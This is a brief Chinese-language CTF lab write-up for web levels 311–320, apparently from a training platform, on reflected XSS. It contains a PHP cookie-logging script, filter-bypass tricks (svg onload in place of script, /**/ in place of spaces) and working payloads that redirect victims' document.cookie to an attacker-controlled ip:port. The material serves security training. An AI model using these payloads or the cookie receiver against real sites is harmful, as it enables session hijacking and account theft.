web入门311-320

web311

web312

web313

web314

web315

web316

反射型xss
方法一：利用在线平台https://xssaq.com/dashboard
方法二：自己搭服务器，用来接受cookie

<?php
	$cookie = $_GET['cookie'];
	$time = date('Y-m-d h:i:s', time());
	$log = fopen("cookie.txt", "a");
	fwrite($log,$time.':    '. $cookie . "\n");
	fclose($log);
?>

使用python开一个web服务python3 -m http.server
反弹 cookie：<script>document.location.href='http://ip+prot/xss.php?cookie='+document.cookie</script>

web317

<script>被禁用了,<svg src=x onload=alert(1)>可以绕过

反弹cookie
<svg onload=window.location.href='http://ip:port/xss.php?c='+document.cookie;>

web318

发现<svg src=x onload=alert(1)>还是可以使用

直接用上一关的payload

web319

发现<svg src=x onload=alert(1)>依旧可以使用

用之前的payload

web320

使用<h1>标签发现过滤了空格，使用/**/代替

<svg/**/onload=window.location.href='http://ip:8080/xss.php?c='+document.cookie;>